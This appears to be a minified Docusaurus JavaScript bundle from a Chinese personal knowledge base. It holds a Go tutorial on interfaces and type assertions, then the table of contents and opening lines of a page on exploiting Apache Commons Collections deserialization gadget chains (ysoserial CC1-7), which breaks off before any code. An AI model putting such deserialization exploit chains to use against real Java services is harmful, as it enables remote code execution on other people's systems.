i)"}),"\u5c31\u4f1a\u51fa\u73b0\u7a7a\u6307\u9488panic\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u5916\u5728Go\u5185\u7f6e\u6807\u51c6\u5e93",(0,l.jsx)(e.code,{children:"database/sql"}),"\u4e2d\u4e5f\u6709\u5f88\u591a\u7c7b\u4f3c\u7684\u7ed3\u6784\u4f53\u5185\u5d4c\u63a5\u53e3\u7c7b\u578b\u7684\u4f7f\u7528\u793a\u4f8b\uff0c\u5404\u4f4d\u8bfb\u8005\u53ef\u81ea\u884c\u67e5\u9605\u3002"]}),"\n",(0,l.jsx)(e.h2,{id:"\u7a7a\u63a5\u53e3",children:"\u7a7a\u63a5\u53e3"}),"\n",(0,l.jsx)(e.h3,{id:"\u7a7a\u63a5\u53e3\u7684\u5b9a\u4e49",children:"\u7a7a\u63a5\u53e3\u7684\u5b9a\u4e49"}),"\n",(0,l.jsx)(e.p,{children:"\u7a7a\u63a5\u53e3\u662f\u6307\u6ca1\u6709\u5b9a\u4e49\u4efb\u4f55\u65b9\u6cd5\u7684\u63a5\u53e3\u7c7b\u578b\u3002\u56e0\u6b64\u4efb\u4f55\u7c7b\u578b\u90fd\u53ef\u4ee5\u89c6\u4e3a\u5b9e\u73b0\u4e86\u7a7a\u63a5\u53e3\u3002\u4e5f\u6b63\u662f\u56e0\u4e3a\u7a7a\u63a5\u53e3\u7c7b\u578b\u7684\u8fd9\u4e2a\u7279\u6027\uff0c\u7a7a\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf\u53ef\u4ee5\u5b58\u50a8\u4efb\u610f\u7c7b\u578b\u7684\u503c\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\n// \u7a7a\u63a5\u53e3\n\n// Any \u4e0d\u5305\u542b\u4efb\u4f55\u65b9\u6cd5\u7684\u7a7a\u63a5\u53e3\u7c7b\u578b\ntype Any interface{}\n\n// Dog \u72d7\u7ed3\u6784\u4f53\ntype Dog struct{}\n\nfunc main() {\n\tvar x Any\n\n\tx = "\u4f60\u597d" // \u5b57\u7b26\u4e32\u578b\n\tfmt.Printf("type:%T value:%v\\n", x, x)\n\tx = 100 // int\u578b\n\tfmt.Printf("type:%T value:%v\\n", x, x)\n\tx = true // \u5e03\u5c14\u578b\n\tfmt.Printf("type:%T value:%v\\n", x, x)\n\tx = Dog{} // \u7ed3\u6784\u4f53\u7c7b\u578b\n\tfmt.Printf("type:%T value:%v\\n", x, x)\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u901a\u5e38\u6211\u4eec\u5728\u4f7f\u7528\u7a7a\u63a5\u53e3\u7c7b\u578b\u65f6\u4e0d\u5fc5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"type"}),"\u5173\u952e\u5b57\u58f0\u660e\uff0c\u53ef\u4ee5\u50cf\u4e0b\u9762\u7684\u4ee3\u7801\u4e00\u6837\u76f4\u63a5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"interface{}"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var x interface{} // \u58f0\u660e\u4e00\u4e2a\u7a7a\u63a5\u53e3\u7c7b\u578b\u53d8\u91cfx\n"})}),"\n",(0,l.jsx)(e.h3,{id:"\u7a7a\u63a5\u53e3\u7684\u5e94\u7528",children:"\u7a7a\u63a5\u53e3\u7684\u5e94\u7528"}),"\n",(0,l.jsx)(e.h4,{id:"\u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u7684\u53c2\u6570",children:"\u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u7684\u53c2\u6570"}),"\n",(0,l.jsx)(e.p,{children:"\u4f7f\u7528\u7a7a\u63a5\u53e3\u5b9e\u73b0\u53ef\u4ee5\u63a5\u6536\u4efb\u610f\u7c7b\u578b\u7684\u51fd\u6570\u53c2\u6570\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// \u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u53c2\u6570\nfunc show(a interface{}) {\n\tfmt.Printf("type:%T value:%v\\n", a, a)\n}\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u7684\u503c",children:"\u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u7684\u503c"}),"\n",(0,l.jsx)(e.p,{children:"\u4f7f\u7528\u7a7a\u63a5\u53e3\u5b9e\u73b0\u53ef\u4ee5\u4fdd\u5b58\u4efb\u610f\u503c\u7684\u5b57\u5178\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// \u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u503c\n\tvar studentInfo = make(map[string]interface{})\n\tstudentInfo["name"] = "\u6c99\u6cb3\u5a1c\u624e"\n\tstudentInfo["age"] = 18\n\tstudentInfo["married"] = false\n\tfmt.Println(studentInfo)\n'})}),"\n",(0,l.jsx)(e.h2,{id:"\u63a5\u53e3\u503c",children:"\u63a5\u53e3\u503c"}),"\n",(0,l.jsxs)(e.p,{children:["\u7531\u4e8e\u63a5\u53e3\u7c7b\u578b\u7684\u503c\u53ef\u4ee5\u662f\u4efb\u610f\u4e00\u4e2a\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7684\u7c7b\u578b\u503c\uff0c\u6240\u4ee5\u63a5\u53e3\u503c\u9664\u4e86\u9700\u8981\u8bb0\u5f55\u5177\u4f53",(0,l.jsx)(e.strong,{children:"\u503c"}),"\u4e4b\u5916\uff0c\u8fd8\u9700\u8981\u8bb0\u5f55\u8fd9\u4e2a\u503c\u5c5e\u4e8e\u7684",(0,l.jsx)(e.strong,{children:"\u7c7b\u578b"}),"\u3002\u4e5f\u5c31\u662f\u8bf4\u63a5\u53e3\u503c\u7531\u201c\u7c7b\u578b\u201d\u548c\u201c\u503c\u201d\u7ec4\u6210\uff0c\u9274\u4e8e\u8fd9\u4e24\u90e8\u5206\u4f1a\u6839\u636e\u5b58\u5165\u503c\u7684\u4e0d\u540c\u800c\u53d1\u751f\u53d8\u5316\uff0c\u6211\u4eec\u79f0\u4e4b\u4e3a\u63a5\u53e3\u7684",(0,l.jsx)(e.code,{children:"\u52a8\u6001\u7c7b\u578b"}),"\u548c",(0,l.jsx)(e.code,{children:"\u52a8\u6001\u503c"}),"\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"\u63a5\u53e3\u503c\u793a\u4f8b",src:c(52012).A+"",width:"272",height:"162"})}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u63a5\u4e0b\u6765\u901a\u8fc7\u4e00\u4e2a\u793a\u4f8b\u6765\u52a0\u6df1\u5bf9\u63a5\u53e3\u503c\u7684\u7406\u89e3\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\uff0c\u5b9a\u4e49\u4e86\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7c7b\u578b\u548c\u4e24\u4e2a\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7684",(0,l.jsx)(e.code,{children:"Dog"}),"\u548c",(0,l.jsx)(e.code,{children:"Car"}),"\u7ed3\u6784\u4f53\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type Mover interface {\n\tMove()\n}\n\ntype Dog struct {\n\tName string\n}\n\nfunc (d *Dog) Move() {\n\tfmt.Println("\u72d7\u5728\u8dd1~")\n}\n\ntype Car struct {\n\tBrand string\n}\n\nfunc (c *Car) Move() {\n\tfmt.Println("\u6c7d\u8f66\u5728\u8dd1~")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u9996\u5148\uff0c\u6211\u4eec\u521b\u5efa\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var m Mover\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\uff0c\u63a5\u53e3\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u662f\u63a5\u53e3\u7c7b\u578b\u7684\u96f6\u503c\uff0c\u4e5f\u5c31\u662f\u5b83\u7684\u7c7b\u578b\u548c\u503c\u90e8\u5206\u90fd\u662f",(0,l.jsx)(e.code,{children:"nil"}),"\uff0c\u5c31\u5982\u4e0b\u56fe\u6240\u793a\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"\u63a5\u53e3\u503c\u793a\u4f8b",src:c(20487).A+"",width:"252",height:"192"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"m == nil"}),"\u6765\u5224\u65ad\u6b64\u65f6\u7684\u63a5\u53e3\u503c\u662f\u5426\u4e3a\u7a7a\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"fmt.Println(m == nil) // true\n"})}),"\n",(0,l.jsx)(e.p,{children:"**\u6ce8\u610f\uff1a**\u6211\u4eec\u4e0d\u80fd\u5bf9\u4e00\u4e2a\u7a7a\u63a5\u53e3\u503c\u8c03\u7528\u4efb\u4f55\u65b9\u6cd5\uff0c\u5426\u5219\u4f1a\u4ea7\u751fpanic\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"m.Move() // panic: runtime error: invalid memory address or nil pointer dereference\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5c06\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"*Dog"}),"\u7ed3\u6784\u4f53\u6307\u9488\u8d4b\u503c\u7ed9\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'m = &Dog{Name: "\u65fa\u8d22"}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\uff0c\u63a5\u53e3\u503c",(0,l.jsx)(e.code,{children:"m"}),"\u7684\u52a8\u6001\u7c7b\u578b\u4f1a\u88ab\u8bbe\u7f6e\u4e3a",(0,l.jsx)(e.code,{children:"*Dog"}),"\uff0c\u52a8\u6001\u503c\u4e3a\u7ed3\u6784\u4f53\u53d8\u91cf\u7684\u62f7\u8d1d\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"\u63a5\u53e3\u503c\u793a\u4f8b",src:c(49150).A+"",width:"532",height:"193"})}),"\n",(0,l.jsxs)(e.p,{children:["\u7136\u540e\uff0c\u6211\u4eec\u7ed9\u63a5\u53e3\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u8d4b\u503c\u4e3a\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"*Car"}),"\u7c7b\u578b\u7684\u503c\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var c *Car\nm = c\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u8fd9\u4e00\u6b21\uff0c\u63a5\u53e3\u503c",(0,l.jsx)(e.code,{children:"m"}),"\u7684\u52a8\u6001\u7c7b\u578b\u4e3a",(0,l.jsx)(e.code,{children:"*Car"}),"\uff0c\u52a8\u6001\u503c\u4e3a",(0,l.jsx)(e.code,{children:"nil"}),"\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"\u63a5\u53e3\u503c\u793a\u4f8b",src:c(85265).A+"",width:"532",height:"192"})}),"\n",(0,l.jsxs)(e.p,{children:["**\u6ce8\u610f\uff1a**\u6b64\u65f6\u63a5\u53e3\u53d8\u91cf",(0,l.jsx)(e.code,{children:"m"}),"\u4e0e",(0,l.jsx)(e.code,{children:"nil"}),"\u5e76\u4e0d\u76f8\u7b49\uff0c\u56e0\u4e3a\u5b83\u53ea\u662f\u52a8\u6001\u503c\u7684\u90e8\u5206\u4e3a",(0,l.jsx)(e.code,{children:"nil"}),"\uff0c\u800c\u52a8\u6001\u7c7b\u578b\u90e8\u5206\u4fdd\u5b58\u7740\u5bf9\u5e94\u503c\u7684\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"fmt.Println(m == nil) // false\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u53e3\u503c\u662f\u652f\u6301\u76f8\u4e92\u6bd4\u8f83\u7684\uff0c\u5f53\u4e14\u4ec5\u5f53\u63a5\u53e3\u503c\u7684\u52a8\u6001\u7c7b\u578b\u548c\u52a8\u6001\u503c\u90fd\u76f8\u7b49\u65f6\u624d\u76f8\u7b49\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var (\n\tx Mover = new(Dog)\n\ty Mover = new(Car)\n)\nfmt.Println(x == y) // false\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u4f46\u662f\u6709\u4e00\u79cd\u7279\u6b8a\u60c5\u51b5\u9700\u8981\u7279\u522b\u6ce8\u610f\uff0c\u5982\u679c\u63a5\u53e3\u503c\u4fdd\u5b58\u7684\u52a8\u6001\u7c7b\u578b\u76f8\u540c\uff0c\u4f46\u662f\u8fd9\u4e2a\u52a8\u6001\u7c7b\u578b\u4e0d\u652f\u6301\u4e92\u76f8\u6bd4\u8f83\uff08\u6bd4\u5982\u5207\u7247\uff09\uff0c\u90a3\u4e48\u5bf9\u5b83\u4eec\u76f8\u4e92\u6bd4\u8f83\u65f6\u5c31\u4f1a\u5f15\u53d1panic\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var z interface{} = []int{1, 2, 3}\nfmt.Println(z == z) // panic: runtime error: comparing uncomparable type []int\n"})}),"\n",(0,l.jsx)(e.h2,{id:"\u7c7b\u578b\u65ad\u8a00",children:"\u7c7b\u578b\u65ad\u8a00"}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u53e3\u503c\u53ef\u80fd\u8d4b\u503c\u4e3a\u4efb\u610f\u7c7b\u578b\u7684\u503c\uff0c\u90a3\u6211\u4eec\u5982\u4f55\u4ece\u63a5\u53e3\u503c\u83b7\u53d6\u5176\u5b58\u50a8\u7684\u5177\u4f53\u6570\u636e\u5462\uff1f"}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u501f\u52a9\u6807\u51c6\u5e93",(0,l.jsx)(e.code,{children:"fmt"}),"\u5305\u7684\u683c\u5f0f\u5316\u6253\u5370\u83b7\u53d6\u5230\u63a5\u53e3\u503c\u7684\u52a8\u6001\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var m Mover\n\nm = &Dog{Name: "\u65fa\u8d22"}\nfmt.Printf("%T\\n", m) // *main.Dog\n\nm = new(Car)\nfmt.Printf("%T\\n", m) // *main.Car\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u800c",(0,l.jsx)(e.code,{children:"fmt"}),"\u5305\u5185\u90e8\u5176\u5b9e\u662f\u4f7f\u7528\u53cd\u5c04\u7684\u673a\u5236\u5728\u7a0b\u5e8f\u8fd0\u884c\u65f6\u83b7\u53d6\u5230\u52a8\u6001\u7c7b\u578b\u7684\u540d\u79f0\u3002\u5173\u4e8e\u53cd\u5c04\u7684\u5185\u5bb9\u6211\u4eec\u4f1a\u5728\u540e\u7eed\u7ae0\u8282\u8be6\u7ec6\u4ecb\u7ecd\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u800c\u60f3\u8981\u4ece\u63a5\u53e3\u503c\u4e2d\u83b7\u53d6\u5230\u5bf9\u5e94\u7684\u5b9e\u9645\u503c\u9700\u8981\u4f7f\u7528\u7c7b\u578b\u65ad\u8a00\uff0c\u5176\u8bed\u6cd5\u683c\u5f0f\u5982\u4e0b\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"x.(T)\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"x\uff1a\u8868\u793a\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf"}),"\n",(0,l.jsxs)(e.li,{children:["T\uff1a\u8868\u793a\u65ad\u8a00",(0,l.jsx)(e.code,{children:"x"}),"\u53ef\u80fd\u662f\u7684\u7c7b\u578b\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(e.p,{children:["\u8be5\u8bed\u6cd5\u8fd4\u56de\u4e24\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f",(0,l.jsx)(e.code,{children:"x"}),"\u8f6c\u5316\u4e3a",(0,l.jsx)(e.code,{children:"T"}),"\u7c7b\u578b\u540e\u7684\u53d8\u91cf\uff0c\u7b2c\u4e8c\u4e2a\u503c\u662f\u4e00\u4e2a\u5e03\u5c14\u503c\uff0c\u82e5\u4e3a",(0,l.jsx)(e.code,{children:"true"}),"\u5219\u8868\u793a\u65ad\u8a00\u6210\u529f\uff0c\u4e3a",(0,l.jsx)(e.code,{children:"false"}),"\u5219\u8868\u793a\u65ad\u8a00\u5931\u8d25\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var n Mover = &Dog{Name: "\u65fa\u8d22"}\nv, ok := n.(*Dog)\nif ok {\n\tfmt.Println("\u7c7b\u578b\u65ad\u8a00\u6210\u529f")\n\tv.Name = "\u5bcc\u8d35" // \u53d8\u91cfv\u662f*Dog\u7c7b\u578b\n} else {\n\tfmt.Println("\u7c7b\u578b\u65ad\u8a00\u5931\u8d25")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u5982\u679c\u5bf9\u4e00\u4e2a\u63a5\u53e3\u503c\u6709\u591a\u4e2a\u5b9e\u9645\u7c7b\u578b\u9700\u8981\u5224\u65ad\uff0c\u63a8\u8350\u4f7f\u7528",(0,l.jsx)(e.code,{children:"switch"}),"\u8bed\u53e5\u6765\u5b9e\u73b0\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// justifyType \u5bf9\u4f20\u5165\u7684\u7a7a\u63a5\u53e3\u7c7b\u578b\u53d8\u91cfx\u8fdb\u884c\u7c7b\u578b\u65ad\u8a00\nfunc justifyType(x interface{}) {\n\tswitch v := x.(type) {\n\tcase string:\n\t\tfmt.Printf("x is a string\uff0cvalue is %v\\n", v)\n\tcase int:\n\t\tfmt.Printf("x is a int is %v\\n", v)\n\tcase bool:\n\t\tfmt.Printf("x is a bool is %v\\n", v)\n\tdefault:\n\t\tfmt.Println("unsupport type\uff01")\n\t}\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u7531\u4e8e\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf\u80fd\u591f\u52a8\u6001\u5b58\u50a8\u4e0d\u540c\u7c7b\u578b\u503c\u7684\u7279\u70b9\uff0c\u6240\u4ee5\u5f88\u591a\u521d\u5b66\u8005\u4f1a\u6ee5\u7528\u63a5\u53e3\u7c7b\u578b\uff08\u7279\u522b\u662f\u7a7a\u63a5\u53e3\uff09\u6765\u5b9e\u73b0\u7f16\u7801\u8fc7\u7a0b\u4e2d\u7684\u4fbf\u6377\u3002\u53ea\u6709\u5f53\u6709\u4e24\u4e2a\u6216\u4e24\u4e2a\u4ee5\u4e0a\u7684\u5177\u4f53\u7c7b\u578b\u5fc5\u987b\u4ee5\u76f8\u540c\u7684\u65b9\u5f0f\u8fdb\u884c\u5904\u7406\u65f6\u624d\u9700\u8981\u5b9a\u4e49\u63a5\u53e3\u3002\u5207\u8bb0\u4e0d\u8981\u4e3a\u4e86\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u800c\u589e\u52a0\u4e0d\u5fc5\u8981\u7684\u62bd\u8c61\uff0c\u5bfc\u81f4\u4e0d\u5fc5\u8981\u7684\u8fd0\u884c\u65f6\u635f\u8017\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u5728 Go \u8bed\u8a00\u4e2d\u63a5\u53e3\u662f\u4e00\u4e2a\u975e\u5e38\u91cd\u8981\u7684\u6982\u5ff5\u548c\u7279\u6027\uff0c\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u80fd\u591f\u5b9e\u73b0\u4ee3\u7801\u7684\u62bd\u8c61\u548c\u89e3\u8026\uff0c\u4e5f\u53ef\u4ee5\u9690\u85cf\u67d0\u4e2a\u529f\u80fd\u7684\u5185\u90e8\u5b9e\u73b0\uff0c\u4f46\u662f\u7f3a\u70b9\u5c31\u662f\u5728\u67e5\u770b\u6e90\u7801\u7684\u65f6\u5019\uff0c\u4e0d\u592a\u65b9\u4fbf\u67e5\u627e\u5230\u5177\u4f53\u5b9e\u73b0\u63a5\u53e3\u7684\u7c7b\u578b\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u76f8\u4fe1\u5f88\u591a\u8bfb\u8005\u5728\u521a\u63a5\u89e6\u5230\u63a5\u53e3\u7c7b\u578b\u65f6\u90fd\u4f1a\u6709\u5f88\u591a\u7591\u60d1\uff0c\u8bf7\u7262\u8bb0\u63a5\u53e3\u662f\u4e00\u79cd\u7c7b\u578b\uff0c\u4e00\u79cd\u62bd\u8c61\u7684\u7c7b\u578b\u3002\u533a\u522b\u4e8e\u6211\u4eec\u5728\u4e4b\u524d\u7ae0\u8282\u63d0\u5230\u7684\u90a3\u4e9b\u5177\u4f53\u7c7b\u578b\uff08\u6574\u578b\u3001\u6570\u7ec4\u3001\u7ed3\u6784\u4f53\u7c7b\u578b\u7b49\uff09\uff0c\u5b83\u662f\u4e00\u4e2a\u53ea\u8981\u6c42\u5b9e\u73b0\u7279\u5b9a\u65b9\u6cd5\u7684\u62bd\u8c61\u7c7b\u578b\u3002"}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.strong,{children:"\u5c0f\u6280\u5de7\uff1a"})," \u4e0b\u9762\u7684\u4ee3\u7801\u53ef\u4ee5\u5728\u7a0b\u5e8f\u7f16\u8bd1\u9636\u6bb5\u9a8c\u8bc1\u67d0\u4e00\u7ed3\u6784\u4f53\u662f\u5426\u6ee1\u8db3\u7279\u5b9a\u7684\u63a5\u53e3\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// \u6458\u81eagin\u6846\u67b6routergroup.go\ntype IRouter interface{ ... }\n\ntype RouterGroup struct { ... }\n\nvar _ IRouter = &RouterGroup{} // \u786e\u4fddRouterGroup\u5b9e\u73b0\u4e86\u63a5\u53e3IRouter\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\u4e5f\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"var _ IRouter = (*RouterGroup)(nil)"}),"\u8fdb\u884c\u9a8c\u8bc1\u3002"]})]})}function o(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(t,{...n})}):t(n)}}}]); \ No newline at end of file diff --git a/assets/js/8459d6bb.ce26b49d.js b/assets/js/8459d6bb.ce26b49d.js new file mode 100644 index 0000000..c6160a1 --- /dev/null +++ b/assets/js/8459d6bb.ce26b49d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6759],{28453:(e,n,r)=>{r.d(n,{R:()=>c,x:()=>t});var o=r(96540);const s={},a=o.createContext(s);function c(e){const n=o.useContext(a);return o.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function t(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),o.createElement(a.Provider,{value:n},e.children)}},73984:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>i,contentTitle:()=>t,default:()=>m,frontMatter:()=>c,metadata:()=>o,toc:()=>l});const o=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/README","title":"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528","description":"\u5305\u548c\u7b80\u4ecb","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"},"next":{"title":"Apache Commons Collections 1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1"}}');var s=r(74848),a=r(28453);const c={},t="Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528",i={},l=[{value:"\u5305\u548c\u7b80\u4ecb",id:"\u5305\u548c\u7b80\u4ecb",level:2},{value:"\u80cc\u666f\u4ecb\u7ecd",id:"\u80cc\u666f\u4ecb\u7ecd",level:3},{value:"\u5305\u7ed3\u6784\u4ecb\u7ecd",id:"\u5305\u7ed3\u6784\u4ecb\u7ecd",level:3},{value:"\u524d\u7f6e\u77e5\u8bc6",id:"\u524d\u7f6e\u77e5\u8bc6",level:2},{value:"1.mvn\u4f9d\u8d56",id:"1mvn\u4f9d\u8d56",level:3},{value:"2.\u624b\u6253POC",id:"2\u624b\u6253poc",level:3},{value:"3.Transformer",id:"3transformer",level:3},{value:"4.InvokerTransformer",id:"4invokertransformer",level:3},{value:"5.ChainedTransformer",id:"5chainedtransformer",level:3},{value:"6.ConstantTransformer",id:"6constanttransformer",level:3},{value:"7.Map",id:"7map",level:3},{value:"TransformedMap",id:"transformedmap",level:4},{value:"Map.Entry",id:"mapentry",level:4}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",li:"li",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,a.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"apache-commons-collections-\u53cd\u5e8f\u5217\u5316\u5229\u7528",children:"Apache Commons Collections \u53cd\u5e8f\u5217\u5316\u5229\u7528"})}),"\n",(0,s.jsx)(n.h2,{id:"\u5305\u548c\u7b80\u4ecb",children:"\u5305\u548c\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.h3,{id:"\u80cc\u666f\u4ecb\u7ecd",children:"\u80cc\u666f\u4ecb\u7ecd"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.a,{href:"http://commons.apache.org/",children:"Apache Commons"}),"\u662fApache\u8f6f\u4ef6\u57fa\u91d1\u4f1a\u7684\u9879\u76ee\uff0c\u66fe\u7ecf\u96b6\u5c5e\u4e8e",(0,s.jsx)(n.code,{children:"Jakarta"}),"\u9879\u76ee\u3002",(0,s.jsx)(n.code,{children:"Commons"}),"\u7684\u76ee\u7684\u662f\u63d0\u4f9b\u53ef\u91cd\u7528\u7684\u3001\u89e3\u51b3\u5404\u79cd\u5b9e\u9645\u7684\u901a\u7528\u95ee\u9898\u4e14\u5f00\u6e90\u7684Java\u4ee3\u7801\u3002Commons\u7531\u4e09\u90e8\u5206\u7ec4\u6210\uff1a",(0,s.jsx)(n.code,{children:"Proper"}),"\uff08\u662f\u4e00\u4e9b\u5df2\u53d1\u5e03\u7684\u9879\u76ee\uff09\u3001",(0,s.jsx)(n.code,{children:"Sandbox"}),"\uff08\u662f\u4e00\u4e9b\u6b63\u5728\u5f00\u53d1\u7684\u9879\u76ee\u